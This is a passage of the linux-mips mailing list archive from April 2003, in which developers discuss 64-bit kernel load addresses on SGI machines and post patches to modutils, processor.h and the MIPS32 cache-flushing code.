X-archive-position: 1927
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>:

> On Fri, 4 Apr 2003, Guido Guenther wrote:
> 
> > > > Obtaining /vmlinux.64 from server
> > > > 1813568+1150976+172144 entry: 0xa8000000211c4000
> > > >
> > > > *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018
> RA=0xffffffff9fc5ace4
> > [..snip..]
> > >
> > >  0x211c4018 is a mapped address, which you can't use that early in a
> boot.
> > Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> > seems to look at the lower 32bits of PC though.
> 
>  0xa8000000211c4000 is indeed in XKPHYS but the code jumps to 0x211c4018.

Ah, okay.  I didn't understand the jr instruction there.  That's generated as 
part of a macro:

	.macro	ARC64_TWIDDLE_PC
#if defined(CONFIG_ARC64) || defined(CONFIG_MAPPED_KERNEL)
	/* We get launched at a XKPHYS address but the kernel is linked to
	   run at a KSEG0 address, so jump there.  */
	PTR_LA	t0, \@f
	jr	t0
\@:

I was under the assumption that Octane is ARC64, I may be wrong.

Clearly then, the kernel is linked at the wrong address to have this work.  The
question I have is, why is kseg0 used in this case?  Is it due to the 32 to 64
bit conversion that happens later on in the build?  It looks like the IP27 load
address was originally  0xa80000000001c000, but was amended to 0x8001c000 for
the current CVS(2.4) kernel.  Again, due to the conversion?

Erik


-- 
Erik J. Green
erik@greendragon.org

From macro@ds2.pg.gda.pl Fri Apr  4 16:27:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 16:27:16 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:34029 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDDP1P>; Fri, 4 Apr 2003 16:27:15 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id RAA10466;
	Fri, 4 Apr 2003 17:27:48 +0200 (MET DST)
Date: Fri, 4 Apr 2003 17:27:48 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Erik J. Green" <erik@greendragon.org>
cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: Unknown ARCS message/hang
In-Reply-To: <1049468250.3e8d9d5aecb0a@my.visi.com>
Message-ID: <Pine.GSO.3.96.1030404171736.7307E-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1928
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Fri, 4 Apr 2003, Erik J. Green wrote:

> Clearly then, the kernel is linked at the wrong address to have this work.  The
> question I have is, why is kseg0 used in this case?  Is it due to the 32 to 64
> bit conversion that happens later on in the build?  It looks like the IP27 load
> address was originally  0xa80000000001c000, but was amended to 0x8001c000 for
> the current CVS(2.4) kernel.  Again, due to the conversion?

 Not all parts of the MIPS64/Linux kernel are 64-bit clean when it comes
to addressing.  There used to be troubles with 64-bit tools until
recently, too.  That's why the kernel is built with 32-bit addressing and
only after the final link converted to a 64-bit object to satisfy firmware
that needs such for a load.

 It should be fixed one day, but that's not necessarily a starter's task. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ica2_ts@csv.ica.uni-stuttgart.de Fri Apr  4 21:04:17 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 21:04:20 +0100 (BST)
Received: from iris1.csv.ica.uni-stuttgart.de ([IPv6:::ffff:129.69.118.2]:1061
	"EHLO iris1.csv.ica.uni-stuttgart.de") by linux-mips.org with ESMTP
	id <S8225202AbTDDUER>; Fri, 4 Apr 2003 21:04:17 +0100
Received: from rembrandt.csv.ica.uni-stuttgart.de ([129.69.118.42])
	by iris1.csv.ica.uni-stuttgart.de with esmtp (Exim 3.36 #2)
	id 191XQ7-000Ebh-00
	for linux-mips@linux-mips.org; Fri, 04 Apr 2003 22:04:15 +0200
Received: from ica2_ts by rembrandt.csv.ica.uni-stuttgart.de with local (Exim 3.35 #1 (Debian))
	id 191XQ7-0002ZK-00
	for <linux-mips@linux-mips.org>; Fri, 04 Apr 2003 22:04:15 +0200
Date: Fri, 4 Apr 2003 22:04:15 +0200
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: Unknown ARCS message/hang
Message-ID: <20030404200415.GI14490@rembrandt.csv.ica.uni-stuttgart.de>
References: <1049427871.3e8cff9f9c50e@my.visi.com> <Pine.GSO.3.96.1030404142811.7307B-100000@delta.ds2.pg.gda.pl> <20030404131935.GF11906@bogon.ms20.nix> <1049467405.3e8d9a0dea4a5@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1049467405.3e8d9a0dea4a5@my.visi.com>
User-Agent: Mutt/1.4i
From: Thiemo Seufer <ica2_ts@csv.ica.uni-stuttgart.de>
Return-Path: <ica2_ts@csv.ica.uni-stuttgart.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1929
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ica2_ts@csv.ica.uni-stuttgart.de
Precedence: bulk
X-list: linux-mips

Erik J. Green wrote:
> 
> .. and just to display my complete technical mastery, I failed to echo this
> message to the list the first time around =\
> 
> 
> Quoting Guido Guenther <agx@sigxcpu.org>:
> > >  0x211c4018 is a mapped address, which you can't use that early in a boot.
> > Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> > seems to look at the lower 32bits of PC though.
> > Puzzled,
> >  -- Guido
> 
> That's what I thought too.  I did notice that the 64 bit kernel seems to refer
> to some 32 bit compatibility address spaces, so I'm probably confused on what
> gets used when.
> 
> FYI, the load address I'm using (0xa800000020004000) is the one specified in the
> irix headers for an IP30 kernel (as I read it anyway) and is very close to the
> entry point IRIX uses on the same machine.

Current 64-bit kernels are loaded in the 32-bit compatibility space, i.e. the
load address is 0xffffffff8???????. If you want to load to 64-bit space (the
firmware of r10k ip28 needs this, too), you'll have to fix several macro
expansions in the kernel. I did this once for my ip28, but haven't found the
time to make it really work yet.

An outdated patch which covers this and some other issues is available at
http://www.csv.ica.uni-stuttgart.de/homes/ths/linux-mips/kernel/oss-linux-2002-06-05.diff


Thiemo

From kaos@ocs.com.au Fri Apr  4 23:45:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 23:45:40 +0100 (BST)
Received: from mail.ocs.com.au ([IPv6:::ffff:203.34.97.2]:29446 "HELO
	mail.ocs.com.au") by linux-mips.org with SMTP id <S8225202AbTDDWpj>;
	Fri, 4 Apr 2003 23:45:39 +0100
Received: (qmail 21067 invoked from network); 4 Apr 2003 22:45:27 -0000
Received: from ocs3.intra.ocs.com.au (192.168.255.3)
  by mail.ocs.com.au with SMTP; 4 Apr 2003 22:45:27 -0000
Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331)
	id 228F43000B8; Sat,  5 Apr 2003 08:45:24 +1000 (EST)
Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1])
	by ocs3.intra.ocs.com.au (Postfix) with ESMTP
	id 9968C178; Sat,  5 Apr 2003 08:45:24 +1000 (EST)
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
From: Keith Owens <kaos@ocs.com.au>
To: Alvaro Martinez Echevarria <alvarom@cisco.com>
Cc: linux-mips@linux-mips.org
Subject: Re: problem with modutils under mips 
In-reply-to: Your message of "Fri, 04 Apr 2003 14:26:34 PST."
             <Pine.LNX.4.44.0304041414020.15408-100000@alvarom-lnx.cisco.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 05 Apr 2003 08:45:18 +1000
Message-ID: <27004.1049496318@ocs3.intra.ocs.com.au>
Return-Path: <kaos@ocs.com.au>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1930
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kaos@ocs.com.au
Precedence: bulk
X-list: linux-mips

On Fri, 4 Apr 2003 14:26:34 -0800 (PST), 
Alvaro Martinez Echevarria <alvarom@cisco.com> wrote:
>We are having some modutils trouble under mips, when
>compiling modules with gcc-3.2 and debugging information. It
>turns out gcc is generating debug sections in DWARF format, i.e.,
>with elf section type SHT_MIPS_DWARF. That results in an error in
>obj/obj_mips.c:arch_load_proc_section(), as follows:
>
>foo.o: Unhandled section header type: 7000001e
>foo.o: Unknown section header type: 7000001e
>
>This is the simple fix I have:
>
>---------------------------------------------------------------------------=
>----
>--- obj_mips.c.OLD  2002-02-28 16:39:06.000000000 -0800
>+++ obj_mips.c    2003-04-02 18:34:44.000000000 -0800
>@@ -74,6 +74,7 @@
>     {
>     case SHT_MIPS_DEBUG:
>     case SHT_MIPS_REGINFO:
>+    case SHT_MIPS_DWARF:
>       /* Actually these two sections are as useless as something can be ..=
>=2E  */
>       sec->contents =3D NULL;
>       break;
>@@ -83,7 +84,6 @@
>     case SHT_MIPS_GPTAB:
>     case SHT_MIPS_UCODE:
>     case SHT_MIPS_OPTIONS:
>-    case SHT_MIPS_DWARF:
>     case SHT_MIPS_EVENTS:
>       /* These shouldn't ever be in a module file.  */
>       error("Unhandled section header type: %08x", sec->header.sh_type);
>---------------------------------------------------------------------------=
>
>At the same time, maybe there should be something after the
>"Unhandled" message for all those types, so the execution doesn't
>skip over to the default: case and return -1, but I don't know
>that much.

Thanks, this is what went into my tree, patch is against modutils 2.4.25.

Index: 26.1/obj/obj_mips.c
--- 26.1/obj/obj_mips.c Fri, 01 Mar 2002 11:39:06 +1100 kaos (modutils-2.4/c/10_obj_mips.c 1.4 644)
+++ 26.1(w)/obj/obj_mips.c Sat, 05 Apr 2003 08:36:33 +1000 kaos (modutils-2.4/c/10_obj_mips.c 1.4 644)
@@ -74,7 +74,8 @@ arch_load_proc_section(struct obj_sectio
     {
     case SHT_MIPS_DEBUG:
     case SHT_MIPS_REGINFO:
-      /* Actually these two sections are as useless as something can be ...  */
+    case SHT_MIPS_DWARF:
+      /* Ignore debugging sections  */
       sec->contents = NULL;
       break;
 
@@ -83,10 +84,10 @@ arch_load_proc_section(struct obj_sectio
     case SHT_MIPS_GPTAB:
     case SHT_MIPS_UCODE:
     case SHT_MIPS_OPTIONS:
-    case SHT_MIPS_DWARF:
     case SHT_MIPS_EVENTS:
       /* These shouldn't ever be in a module file.  */
       error("Unhandled section header type: %08x", sec->header.sh_type);
+      return -1;
 
     default:
       /* We don't even know the type.  This time it might as well be a



From hartvig@ekner.info Mon Apr  7 14:09:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 14:09:49 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:11782 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225205AbTDGNJr>;
	Mon, 7 Apr 2003 14:09:47 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id 786FEB4E9
	for <linux-mips@linux-mips.org>; Mon,  7 Apr 2003 15:09:39 +0200 (CEST)
Message-ID: <3E917AA1.13694D03@ekner.info>
Date: Mon, 07 Apr 2003 15:18:25 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Patch to include/asm-mips/processor.h
Content-Type: multipart/mixed;
 boundary="------------1F035EFA10F52EFAC87E1575"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1931
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------1F035EFA10F52EFAC87E1575
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have no idea whether what I did was correct, but at least it is no less incorrect than the code currently
in there, which coredumps now for some reason (I wonder why it never crashed before). The test-bit macro
expects a bit-number, and not a mask which it is given in the current code.

So while fixing this, I also used the normal cpu_data macro for the cpu_has_watch() macro, instead of
looking at CPU(0).

/Hartvig


--------------1F035EFA10F52EFAC87E1575
Content-Type: text/plain; charset=us-ascii;
 name="processor_patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="processor_patch"

Index: processor.h
===================================================================
RCS file: /home/cvs/linux/include/asm-mips/processor.h,v
retrieving revision 1.43.2.11
diff -u -r1.43.2.11 processor.h
--- processor.h	7 Apr 2003 02:21:05 -0000	1.43.2.11
+++ processor.h	7 Apr 2003 13:03:07 -0000
@@ -66,14 +66,9 @@
 	struct cache_desc tcache;	/* Tertiary/split secondary cache */
 } __attribute__((__aligned__(SMP_CACHE_BYTES)));
 
-/*
- * Assumption: Options of CPU 0 are a superset of all processors.
- * This is true for all known MIPS systems.
- */
-#define cpu_has_watch	(test_bit(MIPS_CPU_WATCH, cpu_data[0].options))
-
 extern struct cpuinfo_mips cpu_data[];
-#define current_cpu_data cpu_data[smp_processor_id()]
+#define current_cpu_data	cpu_data[smp_processor_id()]
+#define cpu_has_watch		(current_cpu_data.options & MIPS_CPU_WATCH)
 
 /*
  * System setup and hardware flags..

--------------1F035EFA10F52EFAC87E1575--


From hartvig@ekner.info Mon Apr  7 14:17:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 14:17:02 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:33809 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8224827AbTDGNRB>;
	Mon, 7 Apr 2003 14:17:01 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id 61681B4FF
	for <linux-mips@linux-mips.org>; Mon,  7 Apr 2003 15:16:50 +0200 (CEST)
Message-ID: <3E917C50.BDDA8F7F@ekner.info>
Date: Mon, 07 Apr 2003 15:25:36 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Updated cache statistics patch for new c-mips32.c
Content-Type: multipart/mixed;
 boundary="------------C6C9B6962131A30E5060C143"
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1932
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

This is a multi-part message in MIME format.
--------------C6C9B6962131A30E5060C143
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Below is an updated cache statistics counter patch for c-mips32.c after Ralf nuked all the _sc routines.

/Hartvig


--------------C6C9B6962131A30E5060C143
Content-Type: text/plain; charset=us-ascii;
 name="cmips32_patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cmips32_patch"

Index: c-mips32.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-mips32.c,v
retrieving revision 1.3.2.19
diff -u -r1.3.2.19 c-mips32.c
--- c-mips32.c	7 Apr 2003 00:17:06 -0000	1.3.2.19
+++ c-mips32.c	7 Apr 2003 13:14:09 -0000
@@ -17,6 +17,10 @@
  *
  * MIPS32 CPU variant specific MMU/Cache routines.
  */
+
+#undef	DEBUG_CACHE		/* Control debug printk's	*/
+#define	DEBUG_COUNTERS		/* Control statistics counters	*/
+
 #include <linux/config.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
@@ -32,6 +36,34 @@
 #include <asm/system.h>
 #include <asm/mmu_context.h>
 
+
+#ifndef	DEBUG_COUNTERS
+#define	DEBUG_INCCNT(cnt)
+#else
+
+#include <linux/module.h>
+#include <linux/proc_fs.h>
+
+#define	DEBUG_INCCNT(cnt)	cnt++
+
+static int cnt_mips32_flush_cache_all_pc = 0;
+static int cnt_mips32_flush_cache_mm_pc = 0;
+static int cnt_mips32_flush_cache_range_pc = 0;
+static int cnt_mips32_flush_cache_page_pc = 0;
+
+static int cnt_mips32_flush_icache_all = 0;
+static int cnt_mips32_flush_icache_range = 0;
+static int cnt_mips32_flush_icache_page = 0;
+
+static int cnt_mips32_flush_data_cache_page = 0;
+static int cnt_mips32_flush_cache_sigtramp = 0;
+
+static int cnt_dma_cache_wback_inv_pc = 0;
+static int cnt_dma_cache_inv_pc = 0;
+
+#endif
+
+
 /* Primary cache parameters. */
 int icache_size, dcache_size; 			/* Size in bytes */
 int ic_lsize, dc_lsize;				/* LineSize in bytes */
@@ -42,7 +74,6 @@
 #include <asm/cacheops.h>
 #include <asm/mips32_cache.h>
 
-#undef DEBUG_CACHE
 
 /*
  * Dummy cache handling routines for machines without boardcaches
@@ -60,25 +91,31 @@
 
 static inline void mips32_flush_cache_all_pc(void)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_cache_all_pc);
+
 	blast_dcache();
 	blast_icache();
 }
 
+static void mips32_flush_cache_mm_pc(struct mm_struct *mm)
+{
+	DEBUG_INCCNT(cnt_mips32_flush_cache_mm_pc);
+
+	if (cpu_context(smp_processor_id(), mm) != 0)
+		mips32_flush_cache_all_pc();
+}
+
 static void mips32_flush_cache_range_pc(struct mm_struct *mm,
 	unsigned long start, unsigned long end)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_cache_range_pc);
+
 	if (cpu_context(smp_processor_id(), mm) != 0) {
 		blast_dcache();
 		blast_icache();
 	}
 }
 
-static void mips32_flush_cache_mm_pc(struct mm_struct *mm)
-{
-	if (cpu_context(smp_processor_id(), mm) != 0)
-		mips32_flush_cache_all_pc();
-}
-
 static void mips32_flush_cache_page_pc(struct vm_area_struct *vma,
 				    unsigned long page)
 {
@@ -87,6 +124,8 @@
 	pmd_t *pmdp;
 	pte_t *ptep;
 
+	DEBUG_INCCNT(cnt_mips32_flush_cache_page_pc);
+
 	/*
 	 * If ownes no valid ASID yet, cannot possibly have gotten
 	 * this page into the cache.
@@ -126,20 +165,27 @@
 	}
 }
 
-static void mips32_flush_data_cache_page(unsigned long addr)
+static void mips32_flush_icache_all(void)
 {
-	blast_dcache_page(addr);
+	DEBUG_INCCNT(cnt_mips32_flush_icache_all);
+
+	if (current_cpu_data.icache.flags | MIPS_CACHE_VTAG_CACHE)
+		blast_icache();
 }
 
 static void
 mips32_flush_icache_range(unsigned long start, unsigned long end)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_icache_range);
+
 	flush_cache_all();
 }
 
 static void
 mips32_flush_icache_page(struct vm_area_struct *vma, struct page *page)
 {
+	DEBUG_INCCNT(cnt_mips32_flush_icache_page);
+
 	/*
 	 * If there's no context yet, or the page isn't executable, no icache 
 	 * flush is needed.
@@ -154,6 +200,26 @@
 	flush_cache_all();
 }
 
+static void mips32_flush_data_cache_page(unsigned long addr)
+{
+	DEBUG_INCCNT(cnt_mips32_flush_data_cache_page);
+
+	blast_dcache_page(addr);
+}
+
+/*
+ * While we're protected against bad userland addresses we don't care
+ * very much about what happens in that case.  Usually a segmentation
+ * fault will dump the process later on anyway ...
+ */
+static void mips32_flush_cache_sigtramp(unsigned long addr)
+{
+	DEBUG_INCCNT(cnt_mips32_flush_cache_sigtramp);
+
+	protected_writeback_dcache_line(addr & ~(dc_lsize - 1));
+	protected_flush_icache_line(addr & ~(ic_lsize - 1));
+}
+
 /*
  * Writeback and invalidate the primary cache dcache before DMA.
  */
@@ -163,6 +229,8 @@
 	unsigned long end, a;
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_dma_cache_wback_inv_pc);
+
 	if (size >= dcache_size) {
 		blast_dcache();
 	} else {
@@ -185,6 +253,8 @@
 	unsigned long end, a;
 	unsigned long flags;
 
+	DEBUG_INCCNT(cnt_dma_cache_inv_pc);
+
 	if (size >= dcache_size) {
 		blast_dcache();
 	} else {
@@ -208,23 +278,6 @@
 	panic("mips32_dma_cache called - should not happen.");
 }
 
-/*
- * While we're protected against bad userland addresses we don't care
- * very much about what happens in that case.  Usually a segmentation
- * fault will dump the process later on anyway ...
- */
-static void mips32_flush_cache_sigtramp(unsigned long addr)
-{
-	protected_writeback_dcache_line(addr & ~(dc_lsize - 1));
-	protected_flush_icache_line(addr & ~(ic_lsize - 1));
-}
-
-static void mips32_flush_icache_all(void)
-{
-	if (current_cpu_data.icache.flags | MIPS_CACHE_VTAG_CACHE)
-		blast_icache();
-}
-
 /* Detect and size the various caches. */
 static void __init probe_icache(unsigned long config)
 {
@@ -315,11 +368,12 @@
 	_flush_cache_mm		= mips32_flush_cache_mm_pc;
 	_flush_cache_range	= mips32_flush_cache_range_pc;
 	_flush_cache_page	= mips32_flush_cache_page_pc;
+
+	_flush_icache_all	= mips32_flush_icache_all;
 	_flush_icache_range	= mips32_flush_icache_range;	/* Ouch */
 	_flush_icache_page	= mips32_flush_icache_page;
 
 	_flush_cache_sigtramp	= mips32_flush_cache_sigtramp;
-	_flush_icache_all	= mips32_flush_icache_all;
 	_flush_data_cache_page	= mips32_flush_data_cache_page;
 
 	_dma_cache_wback_inv	= mips32_dma_cache_wback_inv_pc;
@@ -328,3 +382,67 @@
 
 	__flush_cache_all();
 }
+
+
+#ifdef	DEBUG_COUNTERS
+
+static int cmips32_read_proc(char *buf, char **start, off_t fpos,
+			 int length, int *eof, void *data)
+{
+	int	len;
+	char	*p = buf;
+
+	p += sprintf(p, "\nCache statistics from c-mips32.c:\n\n");
+
+	p += sprintf(p, "mips32_flush_cache_all_pc:   %8d    "
+			"mips32_flush_icache_all:     %8d\n",
+			cnt_mips32_flush_cache_all_pc,
+			cnt_mips32_flush_icache_all);
+	p += sprintf(p, "mips32_flush_cache_mm_pc:    %8d\n",
+			cnt_mips32_flush_cache_mm_pc);
+	p += sprintf(p, "mips32_flush_cache_range_pc: %8d    "
+			"mips32_flush_icache_range:   %8d\n",
+			cnt_mips32_flush_cache_range_pc,
+			cnt_mips32_flush_icache_range);
+	p += sprintf(p, "mips32_flush_cache_page_pc:  %8d    "
+			"mips32_flush_icache_page:    %8d\n\n",
+			cnt_mips32_flush_cache_page_pc,
+			cnt_mips32_flush_icache_page);
+
+	p += sprintf(p, "mips32_flush_data_cache_page:%8d\n",
+			cnt_mips32_flush_data_cache_page);
+	p += sprintf(p,	"mips32_flush_cache_sigtramp: %8d\n\n",
+			cnt_mips32_flush_cache_sigtramp);
+
+	p += sprintf(p, "dma_cache_wback_inv_pc:      %8d\n",
+			cnt_dma_cache_wback_inv_pc);
+	p += sprintf(p,	"dma_cache_inv_pc:            %8d\n",
+			cnt_dma_cache_inv_pc);
+
+	len = p - buf;
+	if (fpos >= len) {
+		/* Nothing to return... */
+		*start = buf;
+		*eof = 1;
+		return 0;
+	}
+
+	*start = buf + fpos;
+	if ((len -= fpos) > length)
+		return length;
+
+	*eof = 1;
+	return len;
+}
+
+static int __init cmips32_init_module(void)
+{
+	create_proc_read_entry ("cmips32_cache_stats", 0, NULL,
+		cmips32_read_proc, NULL);
+
+	return 0;
+}
+
+module_init(cmips32_init_module);
+
+#endif

--------------C6C9B6962131A30E5060C143--


From erik@greendragon.org Mon Apr  7 16:02:02 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 16:02:04 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:32649 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8224827AbTDGPCC>;
	Mon, 7 Apr 2003 16:02:02 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 544CA3717
	for <linux-mips@linux-mips.org>; Mon,  7 Apr 2003 10:02:00 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h37F206D067783
	for <linux-mips@linux-mips.org>; Mon, 7 Apr 2003 10:02:00 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h37F1xS9067782
	for linux-mips@linux-mips.org; Mon, 7 Apr 2003 15:01:59 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from stpns.guidant.com (stpns.guidant.com [132.189.76.10]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Mon,  7 Apr 2003 15:01:59 +0000
Message-ID: <1049727719.3e9192e77cc49@my.visi.com>
Date: Mon,  7 Apr 2003 15:01:59 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: 64 to 32 bit jr
References: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
In-Reply-To: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 132.189.76.10
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1933
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>:
[deletions]
> > > > *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018
> RA=0xffffffff9fc5ace4
> > [..snip..]
> > >
> > >  0x211c4018 is a mapped address, which you can't use that early in a
> boot.
> > Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> > seems to look at the lower 32bits of PC though.
> 
>  0xa8000000211c4000 is indeed in XKPHYS but the code jumps to 0x211c4018.

Okay, I want to make sure I understand the addressing correctly for the 64 to 32
bit jump.  The existing code for the IP27 (seems to load at about
a800000000000000, which is one of the segments in xkphys, corresponding to
physical memory starting at address 0.  Head.S then jumps to the 32-bit part of
the xkphys address, which happens to be arranged so that it matches the correct
(next instruction) address in kseg0.

I am unable to arrange my addresses similarly neatly, mostly I think due to
fighting with the toolchain I have.  Is it "legal" for me to load a kernel using
the xkphys address and then do something like:

lui    t0,0x8000
addiu  t0,t0,@next
jr     t0
nop
next:


to jump to the next instruction but in kseg0 instead of xkphys?  I believe the
jump target should be word aligned in this case because it's the start of an
instruction.  I'm assuming if I generate a jr to a 32 bit address that the cpu
will assume I'm jumping to a compatibility segment, am I wrong?

Erik




-- 
Erik J. Green
erik@greendragon.org

From macro@ds2.pg.gda.pl Mon Apr  7 17:29:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 07 Apr 2003 17:30:00 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:11677 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8224827AbTDGQ37>; Mon, 7 Apr 2003 17:29:59 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id SAA26755;
	Mon, 7 Apr 2003 18:30:18 +0200 (MET DST)
Date: Mon, 7 Apr 2003 18:30:18 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Erik J. Green" <erik@greendragon.org>
cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: 64 to 32 bit jr
In-Reply-To: <1049727719.3e9192e77cc49@my.visi.com>
Message-ID: <Pine.GSO.3.96.1030407174523.24634D-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
